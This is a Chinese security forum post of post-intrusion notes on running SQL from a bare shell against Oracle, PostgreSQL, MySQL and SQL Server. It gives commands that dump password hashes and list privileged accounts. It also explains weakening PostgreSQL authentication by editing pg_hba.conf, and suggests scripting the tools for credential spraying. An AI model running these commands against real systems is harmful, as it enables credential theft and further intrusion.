安全矩阵

 找回密码
 立即注册
搜索
查看: 2373|回复: 0

各主流数据库非交互执行

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-5-28 20:32:20 | 显示全部楼层 |阅读模式
原文链接:各主流数据库非交互执行
实战场景说明:

    实战中,可能经常会遇到类似这样的问题,比如,内网机脱网,无法进行各种正反向代理转发(或者速度极慢,根本连不上),导致Navicat,SSMS,PLSQL...等各种三方数据库客户端根本无使用条件,再比如,无rdp操作条件,只有一个cmdshell / bash, 但最终目的也只是想在库中快速进行一些账号密码搜集或者脱取库表结构类的简单操作,等等诸如此类吧...

    此时,就需要了解关于各主流数据库在cmd/bash下的一些非交付sql执行方式,非常简单,没任何技术含量,只为笔记留存,方便其它弟兄们,注,如下的所有工具均为各自数据库内置工具,不依赖任何第三方外部工具( 即使数据库没装亦把对应的命令行客户端拆出来独立使用 ),很灵活

0x01 Oracle
安装用户权限下,无密码非交互执行


  1. tv.sql 语句
  2. select * from v$version;
  3. SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
  4. SELECT name,spare4 FROM sys.user$;
  5. exit;

  6. 默认在装好oracle以后,sqlplus会被自动写到当前用户的环境下,直接执行即可
  7. # echo SELECT name,spare4 FROM sys.user$; | sqlplus "/ as sysdba"
  8. # sqlplus "/ as sysdba" @c:\tv.sql > c:\Users\public\simlog.logs
复制代码


0x02 Postgresql
    服务安装用户权限下,无密码非交互执行,修改目标服务配置文件(pg_hba.conf),对127.0.0.1进行trust,之后再想办法覆盖目标原有配置文件[Win下比较特殊,无需重启服务,即时生效]


  1. tv.sql语句
  2. select version();
  3. SELECT usename FROM pg_user WHERE usesuper IS TRUE;
  4. SELECT usename, passwd FROM pg_shadow;

  5. PgSQL在装好之后,默认并没有把PSQL没写到当前用户环境变量下,故需要自行指定绝对路径执行
  6. # echo SELECT usename, passwd FROM pg_shadow; | C:\SRV\PgSQL9.4.24\bin\psql  -h 127.0.0.1 -p 5432 -U postgres
  7. # C:\SRV\PgSQL9.4.24\bin\psql  -h 127.0.0.1 -p 5432 -U postgres < c:\tv.sql
复制代码


0x03 Mysql 带账密非交互执行

  1. tv.sql 语句
  2. select @@version;
  3. select user,host,password from mysql.user;

  4. 一般情况下,在安装Mysql时都会顺手把环境变量选项勾上,故直接执行即可,如遇未添加环境变量,找到目标mysql安装目录下的bin目录指定绝对路径执行即可
  5. # mysql -uroot -p"abc123" -D Mysql <c:\tv.sql
  6. # mysql -uroot -p"abc123" -D Mysql -e "select user,host,password from mysql.user\G;select vers
复制代码


0x04 SqlServer 带账密非交互执行
  1. tv.sql 语句
  2. select @@version;
  3. SELECT name, password_hash FROM master.sys.sql_logins;

  4. Mssql安装完后,默认都会把sqlcmd添加到当前用户环境变量下,故直接执行即可
  5. # sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -i "C:\tv.sql"
  6. # sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -Q " SELECT name, password_hash FROM master.sys.sql_logins;"
复制代码




小结:
    非常简单,不再赘述,其实有些工具稍微灵活配合bat/sh,转身一变就是个服务喷射工具,非常适用于某些特殊场景下,还是那初衷,一篇文章只解决一个小问题,不想掺杂太多废话,祝好运


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:49 , Processed in 0.012995 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表